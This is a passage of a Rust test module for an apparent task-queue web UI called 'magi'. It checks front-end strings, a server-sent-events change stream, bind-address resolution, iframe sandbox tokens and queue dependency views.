20414 assert!(APP_JS.contains("const SPLIT_QUERY = \"(min-width: 1080px)\";"));
20416 assert!(APP_JS.contains("window.matchMedia(SPLIT_QUERY)"));
20417 assert!(APP_CSS.contains("main[data-split]"));
20418 assert!(APP_CSS.contains("body[data-split]"));
20419
20420 assert!(APP_JS.contains("function splitPanes(route, wide) {\n if (!wide) return null;"));
20422 assert!(
20423 APP_JS.contains(
20424 "case \"run\": return { list: route.list || \"runs\", detail: \"run\" };"
20425 )
20426 );
20427 assert!(APP_JS.contains("case \"task\": return { list: \"queue\", detail: \"task\" };"));
20428 assert!(APP_JS.contains("case \"talk\": return { list: \"talks\", detail: \"talk\" };"));
20429 assert!(INDEX_HTML.contains("id=\"split-empty\""));
20430
20431 assert!(APP_JS.contains("function markSelected() {"));
20433 assert!(APP_JS.contains("\"aria-current\", id && card.dataset[key] === id"));
20434 assert!(APP_CSS.contains(".card[aria-current=\"true\"]"));
20435 assert!(
20437 APP_CSS.contains(
20438 "display: flex; flex-direction: row; flex-wrap: wrap; align-items: center;"
20439 )
20440 );
20441
20442 assert!(APP_CSS.contains("height: 100dvh; padding-bottom: 0; overflow: hidden;"));
20444 assert!(APP_CSS.contains("grid-column: 1; grid-row: 1; min-height: 0; overflow: auto;"));
20445 assert!(APP_CSS.contains("grid-column: 2; grid-row: 1; min-height: 0; overflow: auto;"));
20446 assert!(!APP_JS.contains("if (changed) window.scrollTo({ top: 0 });"));
20447
20448 assert!(APP_JS.contains("if (state.detail !== detail) return;"));
20452 assert!(APP_JS.contains("if (state.taskDetail !== detail) return;"));
20453 assert!(APP_JS.contains("if (state.talkDetail.id !== id) return;"));
20454 assert!(APP_JS.contains("const relayout = () => applyRoute();"));
20455
20456 assert!(APP_JS.contains("sandbox: \"allow-popups allow-popups-to-escape-sandbox\""));
20458 }
20459
20460 #[test]
20461 fn panel_sandbox_carries_exactly_popups() {
20462 let needle = "sandbox: \"";
20463 let matches: Vec<_> = APP_JS.match_indices(needle).collect();
20464 assert_eq!(
20465 matches.len(),
20466 1,
20467 "APP_JS must have exactly one sandbox attribute setting: found {matches:?}"
20468 );
20469 let start = matches[0].0 + needle.len();
20470 let end = APP_JS[start..]
20471 .find('"')
20472 .expect("sandbox attribute value must be terminated by a closing quote");
20473 let val = &APP_JS[start..start + end];
20474 let tokens: std::collections::BTreeSet<&str> = val.split_whitespace().collect();
20475 let expected: std::collections::BTreeSet<&str> =
20476 ["allow-popups", "allow-popups-to-escape-sandbox"]
20477 .into_iter()
20478 .collect();
20479 assert_eq!(tokens, expected, "sandbox tokens must match exactly");
20480 assert!(
20481 !tokens.contains("allow-scripts"),
20482 "allow-scripts must never be present in sandbox"
20483 );
20484 assert!(
20485 !tokens.contains("allow-same-origin"),
20486 "allow-same-origin must never be present in sandbox"
20487 );
20488 }
20489
20490 #[test]
20491 fn consuming_a_queue_focus_survives_clearing_a_stale_backlog_search() {
20492 assert!(
20501 APP_JS.contains(
20502 " }\n if (state.queueSearch.trim() !== \"\") {\n state.queueSearch = \"\";"
20503 ),
20504 "the search-clearing branch must run before state.queueFocus is cleared, or the \
20505 recursive renderQueue() call has nothing left to jump to"
20506 );
20507 assert!(
20508 APP_JS.contains("if (jumpToTask(id)) state.queueFocus = null;"),
20509 "state.queueFocus must be cleared only once the jump has landed, so a card that \
20510 arrives later still gets it"
20511 );
20512 assert!(APP_JS.contains("state.queueFocusMissing = missing ? id : null;"));
20513 assert!(APP_JS.contains("is not in the current Backlog."));
20514 assert!(APP_JS.contains("li.card[data-task-id=\""));
20515 assert!(APP_JS.contains("setAttr(r.card, \"data-task-id\", task.id);"));
20516 assert!(APP_JS.contains("`#/queue/${encodeURIComponent(task.id)}`"));
20517 assert!(APP_CSS.contains(".card-permalink"));
20518 assert!(APP_CSS.contains(".queue-focus-status"));
20519 assert!(APP_JS.contains("const section = route.name === \"run\" ? route.list || \"runs\""));
20520 }
20521
20522 #[test]
20523 fn a_notification_card_navigates_from_anywhere_on_it_not_just_its_link_text() {
20524 assert!(
20532 APP_JS.contains(
20533 "onclick: link ? (event) => { if (!event.target.closest(\"a, button\")) link.click(); } : null"
20534 ),
20535 "the notice card itself must forward a tap outside its link/buttons to the link's own click"
20536 );
20537 }
20538
20539 #[test]
20540 fn review_rounds_tell_a_stale_verification_and_a_resource_block_apart_from_a_real_result() {
20541 assert!(
20542 APP_JS.contains("round.verified_head !== round.head"),
20543 "a round that verified an earlier commit must be visibly distinct from one that \
20544 verified the head reviewers are looking at now"
20545 );
20546 assert!(
20547 APP_JS.contains("round.verified_at"),
20548 "when a check ran must be on the wire, not just which commit"
20549 );
20550 assert!(
20551 APP_JS.contains("resource_blocked"),
20552 "a command magi never got to run (shared build cache contention) must not render \
20553 the same as a command that ran and failed"
20554 );
20555 }
20556
20557 #[test]
20558 fn a_stats_kpi_tile_navigates_to_the_runs_view_pre_filtered_to_its_own_status() {
20559 assert!(
20567 APP_JS.contains("onClick: () => openRunsFiltered(status)"),
20568 "every KPI tile built through statusTile() must route its click through \
20569 openRunsFiltered, the single place that sets the Runs filter"
20570 );
20571 for (label, status) in [
20572 ("Merged", "merged"),
20573 ("Ready", "ready"),
20574 ("Blocked", "blocked"),
20575 ("Stalled", "stalled"),
20576 ] {
20577 let call = format!("statusTile(\"{label}\", t.{status}, ");
20578 assert!(
20579 APP_JS.contains(&call),
20580 "expected the {label} KPI tile built via {call}..."
20581 );
20582 assert!(
20583 APP_JS.contains(&format!("status === \"{status}\"")),
20584 "\"{status}\" must be a real RunStatus literal runSection()/isStale() already \
20585 compare a run against, not one invented only for the stats tile"
20586 );
20587 }
20588 assert!(
20589 APP_JS.contains("function openRunsFiltered(status)"),
20590 "openRunsFiltered must exist as the single place a stats tile sets the Runs filter"
20591 );
20592 assert!(
20593 APP_JS.contains(
20594 "if (status && !statusInBucket(String(run.status || \"\"), status)) return false;"
20595 ),
20596 "matchesFilter must gate on the statuses of the bucket a KPI tile named"
20597 );
20598 assert!(
20606 APP_JS.contains(" location.hash = \"#runs\";\n applyRoute();\n renderRuns();\n}"),
20607 "openRunsFiltered must explicitly re-render the Runs list, not rely on a \
20608 hashchange event that may never fire"
20609 );
20610 }
20611
20612 #[test]
20613 fn selecting_a_run_state_chip_drops_an_incompatible_status_filter() {
20614 assert!(APP_JS.contains("function statusCompatibleWithStateFilter(status, filterKey)"));
20620 assert!(
20621 APP_JS.contains(
20622 " if (state.runsFilter.status && !statusCompatibleWithStateFilter(state.runsFilter.status, key)) {\n state.runsFilter = { ...state.runsFilter, status: null };\n }"
20623 ),
20624 "selectRunStateFilter must clear an incompatible status filter, mirroring its own \
20625 guard for an incompatible tree section"
20626 );
20627 }
20628
20629 #[test]
20630 fn every_stats_queue_tile_names_a_real_queue_section() {
20631 assert!(
20637 APP_JS.contains("onClick: () => openQueueSectionFocus(sectionKey)"),
20638 "every queue tile built through sectionTile() must route its click through \
20639 openQueueSectionFocus"
20640 );
20641 for key in ["upnext", "running", "done", "held", "blocked"] {
20642 assert!(
20643 APP_JS.contains(&format!("{{ key: \"{key}\",")),
20644 "QUEUE_SECTIONS must define a \"{key}\" section for a stats tile to reveal"
20645 );
20646 }
20647 for line in [
20651 "sectionTile(\"Queued\", q.queued, \"blue\", \"upnext\"),",
20652 "sectionTile(\"Running\", q.running, \"blue\", \"running\"),",
20653 "sectionTile(\"Done\", q.done, \"gold\", \"done\"),",
20654 "sectionTile(\"Failed\", q.failed, \"rust\", \"upnext\"),",
20655 "sectionTile(\"Held\", q.held, \"rust\", \"held\"),",
20656 "sectionTile(\"Blocked\", q.blocked, \"rust\", \"blocked\"),",
20657 ] {
20658 assert!(APP_JS.contains(line), "expected a stats queue tile: {line}");
20659 }
20660 }
20661
20662 #[test]
20663 fn a_stats_queue_tile_reveals_its_section_without_dropping_a_pending_task_focus() {
20664 assert!(APP_JS.contains("function openQueueSectionFocus(sectionKey)"));
20671 assert!(APP_JS.contains("function consumeQueueSectionFocus()"));
20672 assert!(APP_JS.contains("function revealQueueSection(details)"));
20673 assert!(
20674 APP_JS.contains("consumeQueueFocus();\n consumeQueueSectionFocus();"),
20675 "renderQueue() must consume both focus channels on every pass"
20676 );
20677 assert!(
20678 APP_JS.contains(
20679 " const key = state.queueSectionFocus;\n if (!key || state.queue === null) return;\n if (state.queueSearch.trim() !== \"\") {"
20680 ),
20681 "the search-clearing branch must run before state.queueSectionFocus is cleared, or \
20682 the recursive renderQueue() call has nothing left to reveal"
20683 );
20684 assert!(
20685 APP_JS.contains(
20686 " const details = document.querySelector(`#queue-sections details.list-section[data-key=\"${CSS.escape(key)}\"]`);\n state.queueSectionFocus = null;\n if (details) revealQueueSection(details);"
20687 ),
20688 "state.queueSectionFocus must only be cleared immediately before the reveal it guards"
20689 );
20690 assert!(
20698 APP_JS.contains(" location.hash = \"#queue\";\n applyRoute();\n renderQueue();\n}"),
20699 "openQueueSectionFocus must explicitly re-render the Backlog, not rely on a \
20700 hashchange event that may never fire"
20701 );
20702 }
20703
20704 #[tokio::test]
20705 async fn the_change_stream_announces_the_current_revisions_on_connect() {
20706 let f = Fixture::start().await;
20707
20708 let mut socket = tokio::net::TcpStream::connect(f.addr)
20709 .await
20710 .expect("connect");
20711 socket
20712 .write_all(
20713 b"GET /api/events HTTP/1.1\r\nHost: magi\r\nAccept: text/event-stream\r\n\r\n",
20714 )
20715 .await
20716 .expect("write request");
20717
20718 let mut seen = String::new();
20721 let mut buf = [0u8; 1024];
20722 while !seen.contains("event: change") {
20723 let read = tokio::time::timeout(Duration::from_secs(5), socket.read(&mut buf))
20724 .await
20725 .expect("the stream must speak within five seconds")
20726 .expect("read");
20727 assert!(read > 0, "the server closed the change stream: {seen}");
20728 seen.push_str(&String::from_utf8_lossy(&buf[..read]));
20729 }
20730
20731 assert!(
20732 seen.to_lowercase()
20733 .contains("content-type: text/event-stream"),
20734 "the browser only reconnects automatically for a real SSE stream: {seen}"
20735 );
20736 let data = seen
20737 .lines()
20738 .find_map(|l| l.strip_prefix("data:"))
20739 .expect("a data line");
20740 let payload: Value = serde_json::from_str(data.trim()).expect("json payload");
20741 assert!(
20742 payload["queue_rev"].is_u64()
20743 && payload["runs_rev"].is_u64()
20744 && payload["questions_rev"].is_u64()
20745 && payload["talks_rev"].is_u64()
20746 && payload["notifications_rev"].is_u64()
20747 && payload["loop_rev"].is_u64(),
20748 "the client needs one revision per store to know what to refetch, \
20749 and `talks_rev` is the only notification a standing talk gets - a \
20750 phone whose radio slept through a turn learns about it here, as \
20751 does one whose operator started the loop from another device: \
20752 {payload}"
20753 );
20754
20755 let health = f.get("/api/health").await.json();
20762 for key in [
20763 "queue_rev",
20764 "runs_rev",
20765 "questions_rev",
20766 "talks_rev",
20767 "notifications_rev",
20768 "loop_rev",
20769 ] {
20770 assert!(
20771 health[key].is_u64(),
20772 "health is the change stream's fallback and is missing `{key}`: {health}"
20773 );
20774 }
20775 }
20776
20777 #[tokio::test]
20778 async fn a_new_turn_on_a_talk_moves_the_change_stream_revision() {
20779 let f = Fixture::start().await;
20780 let before = f.get("/api/health").await.json()["talks_rev"]
20781 .as_u64()
20782 .expect("talks_rev");
20783
20784 let talk = seed_talk(&f, "20260904-014455-ab12", "open");
20785 std::thread::sleep(Duration::from_millis(10));
20786 let mut on_disk = f.talks().get(&talk).expect("get seeded talk");
20787 on_disk.turns.push(crate::talk::Turn {
20788 sender: None,
20789 breaks: Some(Vec::new()),
20790 messages: Vec::new(),
20791 posted_by: None,
20792 who: crate::talk::Who::Operator,
20793 body: "a new turn".to_owned(),
20794 at: Timestamp::now(),
20795 attachments: Vec::new(),
20796 usage: None,
20797 });
20798 f.talks().put(&mut on_disk).expect("record a turn");
20799
20800 let after = tokio::time::timeout(Duration::from_secs(5), async {
20801 loop {
20802 let revision = f.get("/api/health").await.json()["talks_rev"]
20803 .as_u64()
20804 .unwrap();
20805 if revision != before {
20806 break revision;
20807 }
20808 tokio::time::sleep(Duration::from_millis(50)).await;
20809 }
20810 })
20811 .await
20812 .expect("shared monitor observes external turn");
20813 assert_ne!(
20814 before, after,
20815 "a phone must be able to notice a talk's reply without polling every store"
20816 );
20817 }
20818
20819 #[test]
20820 fn bind_reads_back_from_the_spelling_the_cli_prints() {
20821 for bind in [Bind::Auto, Bind::Addr(IpAddr::V4(Ipv4Addr::LOCALHOST))] {
20825 assert_eq!(bind.to_string().parse::<Bind>(), Ok(bind));
20826 }
20827 assert_eq!("AUTO".parse::<Bind>(), Ok(Bind::Auto));
20828 assert!("everywhere".parse::<Bind>().is_err());
20829 }
20830
20831 #[test]
20832 fn an_explicit_bind_address_is_taken_verbatim() {
20833 let asked = IpAddr::V4(Ipv4Addr::new(192, 168, 1, 20));
20834
20835 let (addr, warning) = resolve_bind(&Bind::Addr(asked));
20836
20837 assert_eq!(addr, asked);
20838 assert!(
20839 warning.is_none(),
20840 "an operator who named an address gets no lecture"
20841 );
20842 }
20843
20844 #[test]
20845 fn bind_auto_either_finds_a_tailnet_address_or_says_the_ui_is_local_only() {
20846 let (addr, warning) = resolve_bind(&Bind::Auto);
20847
20848 match addr {
20855 IpAddr::V4(ip) if is_tailnet(&ip) => {
20856 assert!(warning.is_none(), "a tailnet address needs no warning");
20857 }
20858 other => {
20859 assert_eq!(other, IpAddr::V4(Ipv4Addr::LOCALHOST));
20860 let warning = warning.expect("a fallback has to explain itself");
20861 assert!(
20862 warning.contains("127.0.0.1") && warning.contains("local-only"),
20863 "the warning says what happened and what it costs: {warning}"
20864 );
20865 }
20866 }
20867 }
20868
20869 #[test]
20870 fn only_the_cgnat_block_counts_as_a_tailnet_address() {
20871 assert!(is_tailnet(&Ipv4Addr::new(100, 64, 0, 1)));
20875 assert!(is_tailnet(&Ipv4Addr::new(100, 127, 255, 254)));
20876 assert!(!is_tailnet(&Ipv4Addr::new(100, 63, 255, 255)));
20877 assert!(!is_tailnet(&Ipv4Addr::new(100, 128, 0, 1)));
20878 assert!(!is_tailnet(&Ipv4Addr::new(127, 0, 0, 1)));
20879 }
20880
20881 #[test]
20882 fn an_ambiguous_prefix_is_a_bad_request_and_a_missing_one_is_not_found() {
20883 let ids = vec![
20884 "20260902-140501-aaaa".to_owned(),
20885 "20260902-140502-aabb".to_owned(),
20886 ];
20887
20888 let missing = pick(ids.clone(), "zzzz", "run").expect_err("no match");
20889 let ambiguous = pick(ids.clone(), "202609", "run").expect_err("two matches");
20890 let short = pick(ids, "aabb", "run").expect("the short id is the tail of an id");
20891
20892 assert_eq!(missing.status, StatusCode::NOT_FOUND);
20893 assert_eq!(ambiguous.status, StatusCode::BAD_REQUEST);
20894 assert_eq!(short, "20260902-140502-aabb");
20895 }
20896 #[tokio::test]
20897 async fn a_panel_reaches_its_assets_by_the_bare_name_it_was_told_to_use() {
20898 let fx = Fixture::start().await;
20904 let id = panel(
20905 &fx,
20906 "<img src=\"shot.png\">",
20907 &[("shot.png", b"\x89PNG\r\n\x1a\n")],
20908 );
20909
20910 let doc = fx
20912 .get(&format!("/api/questions/{id}/panel/index.html"))
20913 .await;
20914 assert_eq!(doc.status, 200, "{}", doc.body);
20915 assert_eq!(doc.header("content-type"), Some("text/html; charset=utf-8"));
20916
20917 let sibling = fx.get(&format!("/api/questions/{id}/panel/shot.png")).await;
20918 assert_eq!(sibling.status, 200, "{}", sibling.body);
20919 assert_eq!(sibling.header("content-type"), Some("image/png"));
20920 assert_eq!(
20921 sibling.header("content-security-policy"),
20922 Some(PANEL_CSP),
20923 "the sibling route must carry the same policy as the asset route"
20924 );
20925
20926 assert_eq!(
20929 fx.head(&format!("/api/questions/{id}/panel")).await.status,
20930 200
20931 );
20932 }
20933
20934 #[test]
20935 fn delta_stamps_cover_add_update_remove_and_noop() {
20936 let before: Stamps = [("a".into(), (1, 10)), ("b".into(), (2, 20))].into();
20937 let after: Stamps = [("b".into(), (2, 21)), ("c".into(), (3, 30))].into();
20938 let delta = diff_stamps(&before, &after, 42);
20939 assert_eq!(delta.base, 42);
20940 assert_eq!(delta.changed, ["b", "c"]);
20941 assert_eq!(delta.removed, ["a"]);
20942 let same = diff_stamps(&after, &after, 43);
20943 assert!(same.changed.is_empty() && same.removed.is_empty());
20944 assert_ne!(stamps_revision(&before), stamps_revision(&after));
20945 let nanos: Stamps = [("b".into(), (2, 20))].into();
20946 let same_ms: Stamps = [("b".into(), (3, 20))].into();
20947 assert_ne!(stamps_revision(&nanos), stamps_revision(&same_ms));
20948 assert_eq!(stamps_revision(&Stamps::new()), 0);
20949 }
20950
20951 fn delta_test_ui(home: &FsPath) -> Arc<Ui> {
20952 std::fs::create_dir_all(home.join("runs")).unwrap();
20953 Arc::new(
20954 Ui::new(
20955 Queue::at(home.join("queue")),
20956 Questions::at(home.join("questions")),
20957 Talks::at(home.join("talks")),
20958 home.join("runs"),
20959 home.to_owned(),
20960 PathBuf::from("/repo/magi"),
20961 )
20962 .with_worktrees_root(home.join("wt")),
20963 )
20964 }
20965
20966 #[test]
20967 fn monitor_scan_isolates_store_failures_and_recovers() {
20968 let home = TempDir::new().unwrap();
20969 let ui = delta_test_ui(home.path());
20970 std::fs::create_dir_all(ui.questions.root()).unwrap();
20971 std::fs::write(ui.questions.root().join("q.json"), "{}").unwrap();
20972 let before = monitor_scan(&ui, None);
20973 std::fs::rename(ui.questions.root(), home.path().join("saved-questions")).unwrap();
20974 std::fs::write(ui.questions.root(), "not a directory").unwrap();
20975 std::fs::create_dir_all(ui.talks.root()).unwrap();
20976 std::fs::write(ui.talks.root().join("new.json"), "{}").unwrap();
20977 let during = monitor_scan(&ui, Some(before.clone()));
20978 assert_eq!(during.0.2, before.0.2);
20979 assert_ne!(during.0.3, before.0.3);
20980 assert!(during.1[2].contains_key("new"));
20981 std::fs::remove_file(ui.questions.root()).unwrap();
20982 let after = monitor_scan(&ui, Some(during));
20983 assert_eq!(after.0.2, 0);
20984 assert_eq!(after.0.3, stamps_revision(&after.1[2]));
20985 std::fs::write(ui.questions.root(), "not a directory").unwrap();
20987 assert_eq!(monitor_scan(&ui, None).0.3, after.0.3);
20988 }
20989
20990 #[tokio::test]
20991 async fn delta_stream_announces_a_base_then_changed_and_removed_ids() {
20992 let home = TempDir::new().unwrap();
20993 let ui = delta_test_ui(home.path());
20994 let mut task = Task::new(
20995 "stream task".into(),
20996 "text".into(),
20997 PathBuf::from("/repo"),
20998 Source::Human,
20999 );
21000 ui.queue.put(&mut task).unwrap();
21001 let response = events(State(ui.clone())).await.into_response();
21002 let mut stream = response.into_body().into_data_stream();
21003 async fn change(stream: &mut axum::body::BodyDataStream) -> serde_json::Value {
21004 let chunk = tokio::time::timeout(Duration::from_secs(5), stream.next())
21005 .await
21006 .unwrap()
21007 .unwrap()
21008 .unwrap();
21009 let text = String::from_utf8(chunk.to_vec()).unwrap();
21010 let data = text
21011 .lines()
21012 .find_map(|line| {
21013 line.strip_prefix("data: ")
21014 .or_else(|| line.strip_prefix("data:"))
21015 })
21016 .unwrap();
21017 serde_json::from_str(data).unwrap()
21018 }
21019 let initial = change(&mut stream).await;
21020 assert!(initial.get("queue_delta").is_none());
21021 task.instruction.push_str(" changed");
21022 ui.queue.put(&mut task).unwrap();
21023 let updated = change(&mut stream).await;
21024 assert_eq!(updated["queue_delta"]["base"], initial["queue_rev"]);
21025 assert_eq!(
21026 updated["queue_delta"]["changed"],
21027 serde_json::json!([task.id])
21028 );
21029 assert_eq!(
21030 updated["queue_rev"].as_u64(),
21031 Some(stamps_revision(&store_stamps(ui.queue.root(), false)))
21032 );
21033 std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
21034 let removed = change(&mut stream).await;
21035 assert_eq!(removed["queue_delta"]["base"], updated["queue_rev"]);
21036 assert_eq!(
21037 removed["queue_delta"]["removed"],
21038 serde_json::json!([task.id])
21039 );
21040 }
21041
21042 #[tokio::test]
21043 async fn delta_lists_keep_blockers_and_respect_the_run_window() {
21044 let home = TempDir::new().unwrap();
21045 let ui = delta_test_ui(home.path());
21046 let queue = ui.queue.clone();
21047 let query = |ids: Option<&str>| {
21048 Query(ListQuery {
21049 limit: Some(2),
21050 ids: ids.map(str::to_owned),
21051 })
21052 };
21053 let mut root = Task::new(
21054 "root".into(),
21055 "instruction".into(),
21056 PathBuf::from("/repo"),
21057 Source::Human,
21058 );
21059 queue.put(&mut root).unwrap();
21060 let mut blocked = Task::new(
21061 "blocked".into(),
21062 "instruction".into(),
21063 PathBuf::from("/repo"),
21064 Source::Human,
21065 );
21066 blocked.block(vec![root.id.clone()], None);
21067 queue.put(&mut blocked).unwrap();
21068 let whole =
21069 serde_json::to_value(queue_list(State(ui.clone()), query(None)).await.unwrap().0)
21070 .unwrap();
21071 let subset = serde_json::to_value(
21072 queue_list(State(ui.clone()), query(Some(&root.id)))
21073 .await
21074 .unwrap()
21075 .0,
21076 )
21077 .unwrap();
21078 assert_eq!(whole, subset, "requested root plus its blocked dependent");
21079 let blockers = serde_json::to_value(
21080 queue_list(State(ui.clone()), query(Some("")))
21081 .await
21082 .unwrap()
21083 .0,
21084 )
21085 .unwrap();
21086 assert_eq!(blockers.as_array().unwrap().len(), 1);
21087 assert_eq!(blockers[0]["id"], blocked.id);
21088 assert_eq!(
21089 blockers[0]["waits_on"],
21090 whole
21091 .as_array()
21092 .unwrap()
21093 .iter()
21094 .find(|row| row["id"] == blocked.id)
21095 .unwrap()["waits_on"]
21096 );
21097
21098 for id in [
21099 "20260902-140501-aaaa",
21100 "20260902-140502-bbbb",
21101 "20260902-140503-cccc",
21102 ] {
21103 write_run(&ui.runs, id, RunStatus::Merged);
21104 }
21105 let old = serde_json::to_value(
21106 runs_list(State(ui.clone()), query(Some("20260902-140501-aaaa")))
21107 .await
21108 .unwrap()
21109 .0,
21110 )
21111 .unwrap();
21112 assert!(
21113 old.as_array().unwrap().is_empty(),
21114 "older updates must not enter the window"
21115 );
21116 let newest = serde_json::to_value(
21117 runs_list(State(ui.clone()), query(Some("20260902-140503-cccc")))
21118 .await
21119 .unwrap()
21120 .0,
21121 )
21122 .unwrap();
21123 assert_eq!(newest.as_array().unwrap().len(), 1);
21124 assert_eq!(newest[0]["id"], "20260902-140503-cccc");
21125
21126 seed_talk_at(&ui.talks, "20260905-000000-d4e5", "open");
21127 seed_talk_at(&ui.talks, "20260905-000001-d4e6", "open");
21128 let talks = serde_json::to_value(
21129 talks_list(
21130 State(ui.clone()),
21131 query(Some("20260905-000000-d4e5")),
21132 header::HeaderMap::new(),
21133 )
21134 .await
21135 .unwrap()
21136 .0,
21137 )
21138 .unwrap();
21139 assert_eq!(talks.as_array().unwrap().len(), 1);
21140 assert_eq!(talks[0]["id"], "20260905-000000-d4e5");
21141 assert_eq!(
21142 serde_json::to_value(
21143 talks_list(State(ui.clone()), query(Some("")), header::HeaderMap::new())
21144 .await
21145 .unwrap()
21146 .0
21147 )
21148 .unwrap(),
21149 serde_json::json!([])
21150 );
21151 }
21152
21153 #[tokio::test]
21154 #[ignore = "manual payload measurement; requires a JSON snapshot in MAGI_WEB_BENCH_HOME"]
21155 async fn delta_payload_benchmark() {
21156 let home = PathBuf::from(std::env::var_os("MAGI_WEB_BENCH_HOME").expect("snapshot"));
21157 let ui = delta_test_ui(&home);
21158 let query = |ids: Option<String>| {
21159 Query(ListQuery {
21160 limit: Some(50),
21161 ids,
21162 })
21163 };
21164 let queue = queue_list(State(ui.clone()), query(None)).await.unwrap().0;
21165 let runs = runs_list(State(ui.clone()), query(None)).await.unwrap().0;
21166 let talks = talks_list(State(ui.clone()), query(None), header::HeaderMap::new())
21167 .await
21168 .unwrap()
21169 .0;
21170 let queue_id = queue
21171 .iter()
21172 .find(|row| row.task.status == crate::queue::TaskStatus::Running)
21173 .unwrap_or(&queue[0])
21174 .task
21175 .id
21176 .clone();
21177 let queue_delta = queue_list(State(ui.clone()), query(Some(queue_id)))
21178 .await
21179 .unwrap()
21180 .0;
21181 let runs_delta = runs_list(State(ui.clone()), query(Some(runs[0].id.clone())))
21182 .await
21183 .unwrap()
21184 .0;
21185 let talks_delta = talks_list(
21186 State(ui.clone()),
21187 query(Some(talks[0].id.clone())),
21188 header::HeaderMap::new(),
21189 )
21190 .await
21191 .unwrap()
21192 .0;
21193 let bytes = |rows: serde_json::Value| serde_json::to_vec(&rows).unwrap().len();
21194 eprintln!(
21195 "DELTA_PAYLOAD {}",
21196 serde_json::json!({
21197 "queue": [bytes(serde_json::to_value(&queue).unwrap()), bytes(serde_json::to_value(&queue_delta).unwrap())],
21198 "runs50": [bytes(serde_json::to_value(&runs).unwrap()), bytes(serde_json::to_value(&runs_delta).unwrap())],
21199 "talks": [bytes(serde_json::to_value(&talks).unwrap()), bytes(serde_json::to_value(&talks_delta).unwrap())],
21200 "counts": [queue.len(), runs.len(), talks.len()],
21201 "blocked": queue_delta.len() - 1,
21202 })
21203 );
21204 }
21205
21206 #[test]
21207 fn runs_revision_moves_when_deleting_an_older_run() {
21208 let temp = TempDir::new().expect("tempdir");
21209 let runs = temp.path().join("runs");
21210 std::fs::create_dir_all(&runs).expect("create runs dir");
21211
21212 assert_eq!(runs_revision(&runs), 0, "empty runs has 0 revision");
21213
21214 write_run(&runs, "20260901-100000-old1", RunStatus::Merged);
21215 std::thread::sleep(Duration::from_millis(10));
21216 write_run(&runs, "20260902-100000-new2", RunStatus::Merged);
21217
21218 let rev_before = runs_revision(&runs);
21219 assert!(rev_before > 0);
21220
21221 let old_dir = runs.join("20260901-100000-old1");
21222 std::fs::remove_dir_all(&old_dir).expect("remove old run");
21223
21224 let rev_after = runs_revision(&runs);
21225 assert_ne!(
21226 rev_before, rev_after,
21227 "deleting an older run must change the revision so other clients see the deletion"
21228 );
21229 }
21230
21231 fn write_state(runs: &FsPath, state: &RunState) {
21236 let dir = runs.join(&state.id);
21237 std::fs::create_dir_all(&dir).expect("run dir");
21238 std::fs::write(
21239 dir.join("run.json"),
21240 serde_json::to_string_pretty(state).expect("serialize run"),
21241 )
21242 .expect("write run.json");
21243 }
21244
21245 #[test]
21250 fn runs_revision_moves_when_a_seat_starts_and_again_when_it_finishes() {
21251 let temp = TempDir::new().expect("tempdir");
21252 let runs = temp.path().join("runs");
21253 std::fs::create_dir_all(&runs).expect("create runs dir");
21254 let mut state = RunState::new(
21255 PathBuf::from("/repo/magi"),
21256 "main".to_owned(),
21257 "0123456789abcdef".to_owned(),
21258 "task".to_owned(),
21259 Config::default(),
21260 );
21261 state.id = "20260902-100000-c0de".to_owned();
21262 write_state(&runs, &state);
21263
21264 let rev_idle = runs_revision(&runs);
21265 std::thread::sleep(Duration::from_millis(10));
21266 state.seat_started("judge", "judge-1", std::time::Duration::from_secs(60), 0);
21267 write_state(&runs, &state);
21268 let rev_started = runs_revision(&runs);
21269 assert_ne!(
21270 rev_idle, rev_started,
21271 "a seat starting must move the revision"
21272 );
21273
21274 std::thread::sleep(Duration::from_millis(10));
21275 state.seat_finished("judge-1");
21276 write_state(&runs, &state);
21277 let rev_finished = runs_revision(&runs);
21278 assert_ne!(
21279 rev_started, rev_finished,
21280 "and clearing it again must move the revision a second time"
21281 );
21282 }
21283
21284 #[tokio::test]
21285 async fn queue_json_carries_dependency_fields_and_a_hold_clears_them() {
21286 let fx = Fixture::start().await;
21291 let q = fx.queue();
21292
21293 let mut t = Task::new(
21294 "Task".to_owned(),
21295 "Instruction".to_owned(),
21296 PathBuf::from("/repo"),
21297 Source::Human,
21298 );
21299 t.block(
21300 vec!["20260101-000000-dead".to_owned()],
21301 Some("waiting on Task 1".to_owned()),
21302 );
21303 t.answers.push(crate::queue::AnsweredQuestion {
21304 question: "Which backend?".to_owned(),
21305 answer: "SQLite".to_owned(),
21306 });
21307 q.put(&mut t).expect("put t");
21308
21309 let res = fx.get("/api/queue").await;
21310 assert_eq!(res.status, 200);
21311 let list = res.json();
21312 let view = list
21313 .as_array()
21314 .expect("array")
21315 .iter()
21316 .find(|v| v["id"] == t.id)
21317 .expect("task in list");
21318 assert_eq!(view["status_str"], "blocked");
21319 assert_eq!(
21320 view["blocked_by"],
21321 serde_json::json!(["20260101-000000-dead"])
21322 );
21323 assert_eq!(view["block_reason"], "waiting on Task 1");
21324 assert_eq!(view["answers"][0]["question"], "Which backend?");
21325 assert_eq!(view["answers"][0]["answer"], "SQLite");
21326
21327 let res = fx
21331 .post(&format!("/api/queue/{}/hold", t.short()), None)
21332 .await;
21333 assert_eq!(res.status, 200);
21334 let held = res.json();
21335 assert_eq!(held["status_str"], "held");
21336 assert_eq!(held["blocked_by"], serde_json::json!([]));
21337 assert!(held["block_reason"].is_null());
21338 assert_eq!(held["answers"][0]["answer"], "SQLite");
21339 }
21340
21341 #[tokio::test]
21342 async fn queue_json_shows_a_blocked_chain_and_its_stuck_root() {
21343 let fx = Fixture::start().await;
21344 let q = fx.queue();
21345 let mk = |title: &str| {
21346 Task::new(
21347 title.to_owned(),
21348 "Instruction".to_owned(),
21349 PathBuf::from("/repo"),
21350 Source::Human,
21351 )
21352 };
21353 let mut root = mk("root");
21354 root.hold_manual(Some("waiting".to_owned()));
21355 q.put(&mut root).unwrap();
21356 let mut mid = mk("mid");
21357 mid.block(vec![root.id.clone()], None);
21358 q.put(&mut mid).unwrap();
21359 let mut leaf = mk("leaf");
21360 leaf.block(vec![mid.id.clone()], None);
21361 q.put(&mut leaf).unwrap();
21362
21363 let list = fx.get("/api/queue").await.json();
21364 let find = |id: &str| {
21365 list.as_array()
21366 .unwrap()
21367 .iter()
21368 .find(|v| v["id"] == id)
21369 .unwrap()
21370 .clone()
21371 };
21372 let leaf_view = find(&leaf.id);
21373 assert_eq!(
21374 leaf_view["waits_on"],
21375 serde_json::json!([format!("{} (blocked → {} held)", mid.short(), root.short())])
21376 );
21377 assert_eq!(leaf_view["stuck_roots"], serde_json::json!([root.short()]));
